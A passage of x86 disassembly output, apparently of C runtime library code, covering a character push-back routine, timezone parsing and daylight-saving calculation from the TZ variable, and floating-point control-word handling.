mov ecx, [eax+0Ch] and ecx, 2 test ecx, ecx jz short loc_42ECAF loc_42ECA7: ; CODE XREF: sub_42EC40+3Bj ; sub_42EC40+58j or eax, 0FFFFFFFFh jmp loc_42ED77 ; --------------------------------------------------------------------------- loc_42ECAF: ; CODE XREF: sub_42EC40+48j ; sub_42EC40+65j mov edx, [ebp+var_4] cmp dword ptr [edx+8], 0 jnz short loc_42ECC4 mov eax, [ebp+var_4] push eax call sub_42E200 add esp, 4 loc_42ECC4: ; CODE XREF: sub_42EC40+76j mov ecx, [ebp+var_4] mov edx, [ebp+var_4] mov eax, [ecx] cmp eax, [edx+8] jnz short loc_42ECEF mov ecx, [ebp+var_4] cmp dword ptr [ecx+4], 0 jz short loc_42ECE2 or eax, 0FFFFFFFFh jmp loc_42ED77 ; --------------------------------------------------------------------------- loc_42ECE2: ; CODE XREF: sub_42EC40+98j mov edx, [ebp+var_4] mov eax, [edx] add eax, 1 mov ecx, [ebp+var_4] mov [ecx], eax loc_42ECEF: ; CODE XREF: sub_42EC40+8Fj mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 40h test eax, eax jz short loc_42ED2D mov ecx, [ebp+var_4] mov edx, [ecx] sub edx, 1 mov eax, [ebp+var_4] mov [eax], edx mov ecx, [ebp+var_4] mov edx, [ecx] movsx eax, byte ptr [edx] movsx ecx, byte ptr [ebp+arg_0] cmp eax, ecx jz short loc_42ED2B mov edx, [ebp+var_4] mov eax, [edx] add eax, 1 mov ecx, [ebp+var_4] mov [ecx], eax or eax, 0FFFFFFFFh jmp short loc_42ED77 ; --------------------------------------------------------------------------- loc_42ED2B: ; CODE XREF: sub_42EC40+D7j jmp short loc_42ED44 ; --------------------------------------------------------------------------- loc_42ED2D: ; CODE XREF: sub_42EC40+BAj mov edx, [ebp+var_4] mov eax, [edx] sub eax, 1 mov ecx, [ebp+var_4] mov [ecx], eax mov edx, [ebp+var_4] mov eax, [edx] mov cl, byte ptr [ebp+arg_0] mov [eax], cl loc_42ED44: ; CODE XREF: sub_42EC40:loc_42ED2Bj mov edx, [ebp+var_4] mov eax, [edx+4] add eax, 1 mov ecx, [ebp+var_4] mov [ecx+4], eax mov edx, [ebp+var_4] mov eax, [edx+0Ch] and al, 0EFh mov ecx, [ebp+var_4] mov [ecx+0Ch], eax mov edx, [ebp+var_4] mov eax, [edx+0Ch] or al, 1 mov ecx, [ebp+var_4] mov [ecx+0Ch], eax mov eax, [ebp+arg_0] and eax, 0FFh loc_42ED77: ; CODE XREF: sub_42EC40+6Aj ; sub_42EC40+9Dj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42EC40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42ED80 proc near ; CODE XREF: sub_4280E0+8Ap ; sub_434B40:loc_43505Bp push ebp mov ebp, esp cmp ds:dword_4EEC78, 0 jnz short loc_42EDBB push 0Bh call sub_421A80 add esp, 4 cmp ds:dword_4EEC78, 0 jnz short loc_42EDB1 call loc_42EDE0 mov eax, ds:dword_4EEC78 add eax, 1 mov ds:dword_4EEC78, eax loc_42EDB1: ; CODE XREF: sub_42ED80+1Dj push 0Bh call sub_421B20 add esp, 4 loc_42EDBB: ; CODE XREF: sub_42ED80+Aj pop ebp retn sub_42ED80 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0Bh call sub_421A80 add esp, 4 call loc_42EDE0 push 0Bh call sub_421B20 add esp, 4 pop ebp retn ; --------------------------------------------------------------------------- align 10h loc_42EDE0: ; CODE XREF: sub_42ED80+1Fp ; seg000:0042EDCDp push ebp mov ebp, esp sub esp, 0Ch mov dword ptr [ebp-4], 0 push 0Ch call sub_421A80 add esp, 4 mov ds:dword_4EEBC0, 0 mov ds:dword_450738, 0FFFFFFFFh mov eax, ds:dword_450738 mov ds:dword_450728, eax push offset aTz ; "TZ" call sub_432F50 add esp, 4 mov [ebp-0Ch], eax cmp dword ptr [ebp-0Ch], 0 jnz loc_42EF63 push 0Ch call sub_421B20 add esp, 4 push offset dword_4EEBC8 call near ptr 3D0000h call near ptr 1042E6CBh test [ecx], dl add [eax], eax add bh, al add eax, offset dword_4EEBC0 add [eax], eax ; --------------------------------------------------------------------------- db 2 dup(0), 8Bh ; --------------------------------------------------------------------------- or eax, offset dword_4EEBC8 imul ecx, 3Ch mov ds:dword_450690, ecx xor edx, edx mov dx, ds:word_4EEC0E test edx, edx jz short loc_42EE89 mov eax, ds:dword_4EEC1C imul eax, 3Ch mov ecx, ds:dword_450690 add ecx, eax mov ds:dword_450690, ecx loc_42EE89: ; CODE XREF: seg000:0042EE71j xor edx, edx mov dx, ds:word_4EEC62 test edx, edx jz short loc_42EEBE cmp ds:dword_4EEC70, 0 jz short loc_42EEBE mov ds:dword_450694, 1 mov eax, ds:dword_4EEC70 sub eax, ds:dword_4EEC1C imul eax, 3Ch mov ds:dword_450698, eax jmp short loc_42EED2 ; --------------------------------------------------------------------------- loc_42EEBE: ; CODE XREF: seg000:0042EE94j ; seg000:0042EE9Dj mov ds:dword_450694, 0 mov ds:dword_450698, 0 loc_42EED2: ; CODE XREF: seg000:0042EEBCj lea ecx, [ebp-8] push ecx push 0 push 3Fh mov edx, ds:off_45071C push edx push 0FFFFFFFFh push offset dword_4EEBCC push 220h mov eax, ds:dword_4EEA80 push eax call ds:dword_4F1384 ; WideCharToMultiByte test eax, eax jz short loc_42EF0F cmp dword ptr [ebp-8], 0 jnz short loc_42EF0F mov ecx, ds:off_45071C mov byte ptr [ecx+3Fh], 0 jmp short loc_42EF18 ; --------------------------------------------------------------------------- loc_42EF0F: ; CODE XREF: seg000:0042EEFBj ; seg000:0042EF01j mov edx, ds:off_45071C mov byte ptr [edx], 0 loc_42EF18: ; CODE XREF: seg000:0042EF0Dj lea eax, [ebp-8] push eax push 0 push 3Fh mov ecx, ds:off_450720 push ecx push 0FFFFFFFFh push offset dword_4EEC20 push 220h mov edx, ds:dword_4EEA80 push edx call ds:dword_4F1384 ; WideCharToMultiByte test eax, eax jz short loc_42EF55 cmp dword ptr [ebp-8], 0 jnz short loc_42EF55 mov eax, ds:off_450720 mov byte ptr [eax+3Fh], 0 jmp short loc_42EF5E ; --------------------------------------------------------------------------- loc_42EF55: ; CODE XREF: seg000:0042EF42j ; seg000:0042EF48j mov ecx, ds:off_450720 mov byte ptr [ecx], 0 loc_42EF5E: ; CODE XREF: seg000:0042EF53j jmp loc_42F187 ; --------------------------------------------------------------------------- loc_42EF63: ; CODE XREF: seg000:0042EE29j mov edx, [ebp-0Ch] movsx eax, byte ptr [edx] test eax, eax jz short loc_42EF8D cmp ds:dword_4EEC74, 0 jz short loc_42EF9C mov ecx, ds:dword_4EEC74 push ecx mov edx, [ebp-0Ch] push edx call sub_41D900 add esp, 8 test eax, eax jnz short loc_42EF9C loc_42EF8D: ; CODE XREF: seg000:0042EF6Bj push 0Ch call sub_421B20 add esp, 4 jmp loc_42F187 ; --------------------------------------------------------------------------- loc_42EF9C: ; CODE XREF: seg000:0042EF74j ; seg000:0042EF8Bj push 2 mov eax, ds:dword_4EEC74 push eax call sub_41B8F0 add esp, 8 push 10Ch push offset aTzset_c ; "tzset.c" push 2 mov ecx, [ebp-0Ch] push ecx call sub_41AC70 add esp, 4 add eax, 1 push eax call sub_41AE60 add esp, 10h mov ds:dword_4EEC74, eax cmp ds:dword_4EEC74, 0 jnz short loc_42EFED push 0Ch call sub_421B20 add esp, 4 jmp loc_42F187 ; --------------------------------------------------------------------------- loc_42EFED: ; CODE XREF: seg000:0042EFDCj mov edx, [ebp-0Ch] push edx mov eax, ds:dword_4EEC74 push eax call sub_41E550 add esp, 8 push 0Ch call sub_421B20 add esp, 4 push 3 mov ecx, [ebp-0Ch] push ecx mov edx, ds:off_45071C push edx call sub_41D800 add esp, 0Ch mov eax, ds:off_45071C mov byte ptr [eax+3], 0 mov ecx, [ebp-0Ch] add ecx, 3 mov [ebp-0Ch], ecx mov edx, [ebp-0Ch] movsx eax, byte ptr [edx] cmp eax, 2Dh jnz short loc_42F04D mov ecx, [ebp-4] add ecx, 1 mov [ebp-4], ecx mov edx, [ebp-0Ch] add edx, 1 mov [ebp-0Ch], edx loc_42F04D: ; CODE XREF: seg000:0042F039j mov eax, [ebp-0Ch] push eax call sub_41D460 add esp, 4 imul eax, 0E10h mov ds:dword_450690, eax loc_42F064: ; CODE XREF: seg000:0042F08Ej mov ecx, [ebp-0Ch] movsx edx, byte ptr [ecx] cmp edx, 2Bh jz short loc_42F085 mov eax, [ebp-0Ch] movsx ecx, byte ptr [eax] cmp ecx, 30h jl short loc_42F090 mov edx, [ebp-0Ch] movsx eax, byte ptr [edx] cmp eax, 39h jg short loc_42F090 loc_42F085: ; CODE XREF: seg000:0042F06Dj mov ecx, [ebp-0Ch] add ecx, 1 mov [ebp-0Ch], ecx jmp short loc_42F064 ; --------------------------------------------------------------------------- loc_42F090: ; CODE XREF: seg000:0042F078j ; seg000:0042F083j mov edx, [ebp-0Ch] movsx eax, byte ptr [edx] cmp eax, 3Ah jnz loc_42F135 mov ecx, [ebp-0Ch] add ecx, 1 mov [ebp-0Ch], ecx mov edx, [ebp-0Ch] push edx call sub_41D460 add esp, 4 imul eax, 3Ch mov ecx, ds:dword_450690 add ecx, eax mov ds:dword_450690, ecx loc_42F0C5: ; CODE XREF: seg000:0042F0E4j mov edx, [ebp-0Ch] movsx eax, byte ptr [edx] cmp eax, 30h jl short loc_42F0E6 mov ecx, [ebp-0Ch] movsx edx, byte ptr [ecx] cmp edx, 39h jg short loc_42F0E6 mov eax, [ebp-0Ch] add eax, 1 mov [ebp-0Ch], eax jmp short loc_42F0C5 ; --------------------------------------------------------------------------- loc_42F0E6: ; CODE XREF: seg000:0042F0CEj ; seg000:0042F0D9j mov ecx, [ebp-0Ch] movsx edx, byte ptr [ecx] cmp edx, 3Ah jnz short loc_42F135 mov eax, [ebp-0Ch] add eax, 1 mov [ebp-0Ch], eax mov ecx, [ebp-0Ch] push ecx call sub_41D460 add esp, 4 mov edx, ds:dword_450690 add edx, eax mov ds:dword_450690, edx loc_42F114: ; CODE XREF: seg000:0042F133j mov eax, [ebp-0Ch] movsx ecx, byte ptr [eax] cmp ecx, 30h jl short loc_42F135 mov edx, [ebp-0Ch] movsx eax, byte ptr [edx] cmp eax, 39h jg short loc_42F135 mov ecx, [ebp-0Ch] add ecx, 1 mov [ebp-0Ch], ecx jmp short loc_42F114 ; --------------------------------------------------------------------------- loc_42F135: ; CODE XREF: seg000:0042F099j ; seg000:0042F0EFj ... cmp dword ptr [ebp-4], 0 jz short loc_42F149 mov edx, ds:dword_450690 neg edx mov ds:dword_450690, edx loc_42F149: ; CODE XREF: seg000:0042F139j mov eax, [ebp-0Ch] movsx ecx, byte ptr [eax] mov ds:dword_450694, ecx cmp ds:dword_450694, 0 jz short loc_42F17E push 3 mov edx, [ebp-0Ch] push edx mov eax, ds:off_450720 push eax call sub_41D800 add esp, 0Ch mov ecx, ds:off_450720 mov byte ptr [ecx+3], 0 jmp short loc_42F187 ; --------------------------------------------------------------------------- loc_42F17E: ; CODE XREF: seg000:0042F15Cj mov edx, ds:off_450720 mov byte ptr [edx], 0 loc_42F187: ; CODE XREF: seg000:loc_42EF5Ej ; seg000:0042EF97j ... mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F190 proc near ; CODE XREF: sub_4280E0+CFp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 0Bh call sub_421A80 add esp, 4 mov eax, [ebp+arg_0] push eax call sub_42F1C0 add esp, 4 mov [ebp+var_4], eax push 0Bh call sub_421B20 add esp, 4 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_42F190 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F1C0 proc near ; CODE XREF: sub_42F190+12p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp ds:dword_450694, 0 jnz short loc_42F1D4 xor eax, eax jmp loc_42F4B6 ; --------------------------------------------------------------------------- loc_42F1D4: ; CODE XREF: sub_42F1C0+Bj mov eax, [ebp+arg_0] mov ecx, [eax+14h] cmp ecx, ds:dword_450728 jnz short loc_42F1F4 mov edx, [ebp+arg_0] mov eax, [edx+14h] cmp eax, ds:dword_450738 jz loc_42F3BB loc_42F1F4: ; CODE XREF: sub_42F1C0+20j cmp ds:dword_4EEBC0, 0 jz loc_42F375 xor ecx, ecx mov cx, ds:word_4EEC60 test ecx, ecx jnz short loc_42F269 xor edx, edx mov dx, ds:word_4EEC6E push edx xor eax, eax mov ax, ds:word_4EEC6C push eax xor ecx, ecx mov cx, ds:word_4EEC6A push ecx xor edx, edx mov dx, ds:word_4EEC68 push edx push 0 xor eax, eax mov ax, ds:word_4EEC64 push eax xor ecx, ecx mov cx, ds:word_4EEC66 push ecx xor edx, edx mov dx, ds:word_4EEC62 push edx mov eax, [ebp+arg_0] mov ecx, [eax+14h] push ecx push 1 push 1 call sub_42F4C0 add esp, 2Ch jmp short loc_42F2BA ; --------------------------------------------------------------------------- loc_42F269: ; CODE XREF: sub_42F1C0+4Cj xor edx, edx mov dx, ds:word_4EEC6E push edx xor eax, eax mov ax, ds:word_4EEC6C push eax xor ecx, ecx mov cx, ds:word_4EEC6A push ecx xor edx, edx mov dx, ds:word_4EEC68 push edx xor eax, eax mov ax, ds:word_4EEC66 push eax push 0 push 0 xor ecx, ecx mov cx, ds:word_4EEC62 push ecx mov edx, [ebp+arg_0] mov eax, [edx+14h] push eax push 0 push 1 call sub_42F4C0 add esp, 2Ch loc_42F2BA: ; CODE XREF: sub_42F1C0+A7j xor ecx, ecx mov cx, ds:word_4EEC0C test ecx, ecx jnz short loc_42F322 xor edx, edx mov dx, ds:word_4EEC1A push edx xor eax, eax mov ax, ds:word_4EEC18 push eax xor ecx, ecx mov cx, ds:word_4EEC16 push ecx xor edx, edx mov dx, ds:word_4EEC14 push edx push 0 xor eax, eax mov ax, ds:word_4EEC10 push eax xor ecx, ecx mov cx, ds:word_4EEC12 push ecx xor edx, edx mov dx, ds:word_4EEC0E push edx mov eax, [ebp+arg_0] mov ecx, [eax+14h] push ecx push 1 push 0 call sub_42F4C0 add esp, 2Ch jmp short loc_42F373 ; --------------------------------------------------------------------------- loc_42F322: ; CODE XREF: sub_42F1C0+105j xor edx, edx mov dx, ds:word_4EEC1A push edx xor eax, eax mov ax, ds:word_4EEC18 push eax xor ecx, ecx mov cx, ds:word_4EEC16 push ecx xor edx, edx mov dx, ds:word_4EEC14 push edx xor eax, eax mov ax, ds:word_4EEC12 push eax push 0 push 0 xor ecx, ecx mov cx, ds:word_4EEC0E push ecx mov edx, [ebp+arg_0] mov eax, [edx+14h] push eax push 0 push 0 call sub_42F4C0 add esp, 2Ch loc_42F373: ; CODE XREF: sub_42F1C0+160j jmp short loc_42F3BB ; --------------------------------------------------------------------------- loc_42F375: ; CODE XREF: sub_42F1C0+3Bj push 0 push 0 push 0 push 2 push 0 push 0 push 1 push 4 mov ecx, [ebp+arg_0] mov edx, [ecx+14h] push edx push 1 push 1 call sub_42F4C0 add esp, 2Ch push 0 push 0 push 0 push 2 push 0 push 0 push 5 push 0Ah mov eax, [ebp+arg_0] mov ecx, [eax+14h] push ecx push 1 push 0 call sub_42F4C0 add esp, 2Ch loc_42F3BB: ; CODE XREF: sub_42F1C0+2Ej ; sub_42F1C0:loc_42F373j mov edx, ds:dword_45072C cmp edx, ds:dword_45073C jge short loc_42F414 mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] cmp ecx, ds:dword_45072C jl short loc_42F3E5 mov edx, [ebp+arg_0] mov eax, [edx+1Ch] cmp eax, ds:dword_45073C jle short loc_42F3EC loc_42F3E5: ; CODE XREF: sub_42F1C0+215j xor eax, eax jmp loc_42F4B6 ; --------------------------------------------------------------------------- loc_42F3EC: ; CODE XREF: sub_42F1C0+223j mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] cmp edx, ds:dword_45072C jle short loc_42F412 mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] cmp ecx, ds:dword_45073C jge short loc_42F412 mov eax, 1 jmp loc_42F4B6 ; --------------------------------------------------------------------------- loc_42F412: ; CODE XREF: sub_42F1C0+238j ; sub_42F1C0+246j jmp short loc_42F457 ; --------------------------------------------------------------------------- loc_42F414: ; CODE XREF: sub_42F1C0+207j mov edx, [ebp+arg_0] mov eax, [edx+1Ch] cmp eax, ds:dword_45073C jl short loc_42F430 mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] cmp edx, ds:dword_45072C jle short loc_42F437 loc_42F430: ; CODE XREF: sub_42F1C0+260j mov eax, 1 jmp short loc_42F4B6 ; --------------------------------------------------------------------------- loc_42F437: ; CODE XREF: sub_42F1C0+26Ej mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] cmp ecx, ds:dword_45073C jle short loc_42F457 mov edx, [ebp+arg_0] mov eax, [edx+1Ch] cmp eax, ds:dword_45072C jge short loc_42F457 xor eax, eax jmp short loc_42F4B6 ; --------------------------------------------------------------------------- loc_42F457: ; CODE XREF: sub_42F1C0:loc_42F412j ; sub_42F1C0+283j ... mov ecx, [ebp+arg_0] mov edx, [ecx+4] imul edx, 3Ch mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, edx mov edx, [ebp+arg_0] mov eax, [edx+8] imul eax, 0E10h add ecx, eax imul ecx, 3E8h mov [ebp+var_4], ecx mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] cmp edx, ds:dword_45072C jnz short loc_42F4A2 mov eax, [ebp+var_4] cmp eax, ds:dword_450730 jl short loc_42F49E mov eax, 1 jmp short loc_42F4B6 ; --------------------------------------------------------------------------- loc_42F49E: ; CODE XREF: sub_42F1C0+2D5j xor eax, eax jmp short loc_42F4B6 ; --------------------------------------------------------------------------- loc_42F4A2: ; CODE XREF: sub_42F1C0+2CAj mov ecx, [ebp+var_4] cmp ecx, ds:dword_450740 jge short loc_42F4B4 mov eax, 1 jmp short loc_42F4B6 ; --------------------------------------------------------------------------- loc_42F4B4: ; CODE XREF: sub_42F1C0+2EBj xor eax, eax loc_42F4B6: ; CODE XREF: sub_42F1C0+Fj ; sub_42F1C0+227j ... mov esp, ebp pop ebp retn sub_42F1C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F4C0 proc near ; CODE XREF: sub_42F1C0+9Fp ; sub_42F1C0+F2p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp sub esp, 14h cmp [ebp+arg_4], 1 jnz loc_42F59C mov eax, [ebp+arg_8] and eax, 3 test eax, eax jnz short loc_42F4E9 mov ecx, [ebp+arg_C] mov edx, ds:dword_450740[ecx*4] mov [ebp+var_C], edx jmp short loc_42F4F6 ; --------------------------------------------------------------------------- loc_42F4E9: ; CODE XREF: sub_42F4C0+18j mov eax, [ebp+arg_C] mov ecx, ds:dword_450774[eax*4] mov [ebp+var_C], ecx loc_42F4F6: ; CODE XREF: sub_42F4C0+27j mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_8], edx mov eax, [ebp+arg_8] sub eax, 46h imul eax, 16Dh mov ecx, [ebp+var_8] add ecx, eax mov edx, [ebp+arg_8] sub edx, 1 sar edx, 2 lea eax, [ecx+edx-0Dh] cdq mov ecx, 7 idiv ecx mov [ebp+var_4], edx mov edx, [ebp+var_4] cmp edx, [ebp+arg_14] jge short loc_42F549 mov eax, [ebp+arg_14] sub eax, [ebp+var_4] mov ecx, [ebp+arg_10] sub ecx, 1 imul ecx, 7 add ecx, [ebp+var_8] add ecx, eax mov [ebp+var_8], ecx jmp short loc_42F55D ; --------------------------------------------------------------------------- loc_42F549: ; CODE XREF: sub_42F4C0+6Ej mov edx, [ebp+arg_14] sub edx, [ebp+var_4] mov eax, [ebp+arg_10] imul eax, 7 add eax, [ebp+var_8] add eax, edx mov [ebp+var_8], eax loc_42F55D: ; CODE XREF: sub_42F4C0+87j cmp [ebp+arg_10], 5 jnz short loc_42F59A mov ecx, [ebp+arg_8] and ecx, 3 test ecx, ecx jnz short loc_42F57C mov edx, [ebp+arg_C] mov eax, ds:dword_450744[edx*4] mov [ebp+var_10], eax jmp short loc_42F589 ; --------------------------------------------------------------------------- loc_42F57C: ; CODE XREF: sub_42F4C0+ABj mov ecx, [ebp+arg_C] mov edx, ds:dword_450778[ecx*4] mov [ebp+var_10], edx loc_42F589: ; CODE XREF: sub_42F4C0+BAj mov eax, [ebp+var_8] cmp eax, [ebp+var_10] jle short loc_42F59A mov ecx, [ebp+var_8] sub ecx, 7 mov [ebp+var_8], ecx loc_42F59A: ; CODE XREF: sub_42F4C0+A1j ; sub_42F4C0+CFj jmp short loc_42F5D1 ; --------------------------------------------------------------------------- loc_42F59C: ; CODE XREF: sub_42F4C0+Aj mov edx, [ebp+arg_8] and edx, 3 test edx, edx jnz short loc_42F5B5 mov eax, [ebp+arg_C] mov ecx, ds:dword_450740[eax*4] mov [ebp+var_14], ecx jmp short loc_42F5C2 ; --------------------------------------------------------------------------- loc_42F5B5: ; CODE XREF: sub_42F4C0+E4j mov edx, [ebp+arg_C] mov eax, ds:dword_450774[edx*4] mov [ebp+var_14], eax loc_42F5C2: ; CODE XREF: sub_42F4C0+F3j mov ecx, [ebp+var_14] mov [ebp+var_8], ecx mov edx, [ebp+var_8] add edx, [ebp+arg_18] mov [ebp+var_8], edx loc_42F5D1: ; CODE XREF: sub_42F4C0:loc_42F59Aj cmp [ebp+arg_0], 1 jnz short loc_42F611 mov eax, [ebp+var_8] mov ds:dword_45072C, eax mov ecx, [ebp+arg_1C] imul ecx, 3Ch mov edx, [ebp+arg_20] add edx, ecx imul edx, 3Ch mov eax, [ebp+arg_24] add eax, edx imul eax, 3E8h mov ecx, [ebp+arg_28] add ecx, eax mov ds:dword_450730, ecx mov edx, [ebp+arg_8] mov ds:dword_450728, edx jmp loc_42F6B4 ; --------------------------------------------------------------------------- loc_42F611: ; CODE XREF: sub_42F4C0+115j mov eax, [ebp+var_8] mov ds:dword_45073C, eax mov ecx, [ebp+arg_1C] imul ecx, 3Ch mov edx, [ebp+arg_20] add edx, ecx imul edx, 3Ch mov eax, [ebp+arg_24] add eax, edx imul eax, 3E8h mov ecx, [ebp+arg_28] add ecx, eax mov ds:dword_450740, ecx mov edx, ds:dword_450698 imul edx, 3E8h mov eax, ds:dword_450740 add eax, edx mov ds:dword_450740, eax cmp ds:dword_450740, 0 jge short loc_42F681 mov ecx, ds:dword_450740 add ecx, 5265C00h mov ds:dword_450740, ecx mov edx, ds:dword_45073C sub edx, 1 mov ds:dword_45073C, edx jmp short loc_42F6AB ; --------------------------------------------------------------------------- loc_42F681: ; CODE XREF: sub_42F4C0+19Cj cmp ds:dword_450740, 5265C00h jl short loc_42F6AB mov eax, ds:dword_450740 sub eax, 5265C00h mov ds:dword_450740, eax mov ecx, ds:dword_45073C add ecx, 1 mov ds:dword_45073C, ecx loc_42F6AB: ; CODE XREF: sub_42F4C0+1BFj ; sub_42F4C0+1CBj mov edx, [ebp+arg_8] mov ds:dword_450738, edx loc_42F6B4: ; CODE XREF: sub_42F4C0+14Cj mov esp, ebp pop ebp retn sub_42F4C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F6C0 proc near ; CODE XREF: sub_429150+5Ap push ebp mov ebp, esp xor eax, eax pop ebp retn sub_42F6C0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push ebx push esi push edi fstsw word ptr [ebp-4] mov ax, [ebp-4] push eax call sub_42FAC0 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push ebx push esi push edi fnstsw word ptr [ebp-4] fnclex mov ax, [ebp-4] push eax call sub_42FAC0 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F710 proc near ; CODE XREF: sub_42F760+10p var_10 = word ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi fstcw [ebp+var_10] mov ax, [ebp+var_10] push eax call sub_42F7E0 add esp, 4 mov [ebp+var_8], eax mov ecx, [ebp+arg_0] and ecx, [ebp+arg_4] mov edx, [ebp+arg_4] not edx mov eax, [ebp+var_8] and eax, edx or ecx, eax mov [ebp+var_C], ecx mov ecx, [ebp+var_C] push ecx call sub_42F960 add esp, 4 mov [ebp+var_4], ax fldcw [ebp+var_4] mov eax, [ebp+var_C] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42F710 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F760 proc near ; CODE XREF: sub_4296A0+Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] and eax, 0FFF7FFFFh push eax mov ecx, [ebp+arg_0] push ecx call sub_42F710 add esp, 8 pop ebp retn sub_42F760 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi call sub_42D5B0 mov eax, [eax] mov [ebp-4], eax fninit call sub_4296A0 cmp dword ptr [ebp-4], 0 jz short loc_42F7D1 mov ecx, [ebp-4] mov edx, [ecx+4] mov eax, [edx] and eax, 10008h test eax, eax jz short loc_42F7D1 mov ecx, [ebp-4] mov edx, [ecx+4] add edx, 1Ch mov [ebp-8], edx mov eax, [ebp-8] mov dword ptr [eax+4], 0 mov ecx, [ebp-8] mov dword ptr [ecx+8], 0FFFFh loc_42F7D1: ; CODE XREF: seg000:0042F79Ej ; seg000:0042F7AFj pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F7E0 proc near ; CODE XREF: sub_42F710+12p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_4], 0 mov eax, [ebp+arg_0] and eax, 0FFFFh and eax, 1 test eax, eax jz short loc_42F805 mov ecx, [ebp+var_4] or ecx, 10h mov [ebp+var_4], ecx loc_42F805: ; CODE XREF: sub_42F7E0+1Aj mov edx, [ebp+arg_0] and edx, 0FFFFh and edx, 4 test edx, edx jz short loc_42F81D mov eax, [ebp+var_4] or al, 8 mov [ebp+var_4], eax loc_42F81D: ; CODE XREF: sub_42F7E0+33j mov ecx, [ebp+arg_0] and ecx, 0FFFFh and ecx, 8 test ecx, ecx jz short loc_42F836 mov edx, [ebp+var_4] or edx, 4 mov [ebp+var_4], edx loc_42F836: ; CODE XREF: sub_42F7E0+4Bj mov eax, [ebp+arg_0] and eax, 0FFFFh and eax, 10h test eax, eax jz short loc_42F84E mov ecx, [ebp+var_4] or ecx, 2 mov [ebp+var_4], ecx loc_42F84E: ; CODE XREF: sub_42F7E0+63j mov edx, [ebp+arg_0] and edx, 0FFFFh and edx, 20h test edx, edx jz short loc_42F866 mov eax, [ebp+var_4] or al, 1 mov [ebp+var_4], eax loc_42F866: ; CODE XREF: sub_42F7E0+7Cj mov ecx, [ebp+arg_0] and ecx, 0FFFFh and ecx, 2 test ecx, ecx jz short loc_42F882 mov edx, [ebp+var_4] or edx, 80000h mov [ebp+var_4], edx loc_42F882: ; CODE XREF: sub_42F7E0+94j mov eax, [ebp+arg_0] and eax, 0FFFFh and eax, 0C00h mov [ebp+var_8], eax cmp [ebp+var_8], 800h jg short loc_42F8B5 cmp [ebp+var_8], 800h jz short loc_42F8C8 cmp [ebp+var_8], 0 jz short loc_42F8C0 cmp [ebp+var_8], 400h jz short loc_42F8D3 jmp short loc_42F8E7 ; --------------------------------------------------------------------------- loc_42F8B5: ; CODE XREF: sub_42F7E0+B9j cmp [ebp+var_8], 0C00h jz short loc_42F8DE jmp short loc_42F8E7 ; --------------------------------------------------------------------------- loc_42F8C0: ; CODE XREF: sub_42F7E0+C8j mov ecx, [ebp+var_4] mov [ebp+var_4], ecx jmp short loc_42F8E7 ; --------------------------------------------------------------------------- loc_42F8C8: ; CODE XREF: sub_42F7E0+C2j mov edx, [ebp+var_4] or dh, 2 mov [ebp+var_4], edx jmp short loc_42F8E7 ; --------------------------------------------------------------------------- loc_42F8D3: ; CODE XREF: sub_42F7E0+D1j mov eax, [ebp+var_4] or ah, 1 mov [ebp+var_4], eax jmp short loc_42F8E7 ; --------------------------------------------------------------------------- loc_42F8DE: ; CODE XREF: sub_42F7E0+DCj mov ecx, [ebp+var_4] or ch, 3 mov [ebp+var_4], ecx loc_42F8E7: ; CODE XREF: sub_42F7E0+D3j ; sub_42F7E0+DEj ... mov edx, [ebp+arg_0] and edx, 0FFFFh and edx, 300h mov [ebp+var_C], edx cmp [ebp+var_C], 0 jz short loc_42F929 cmp [ebp+var_C], 200h jz short loc_42F91B cmp 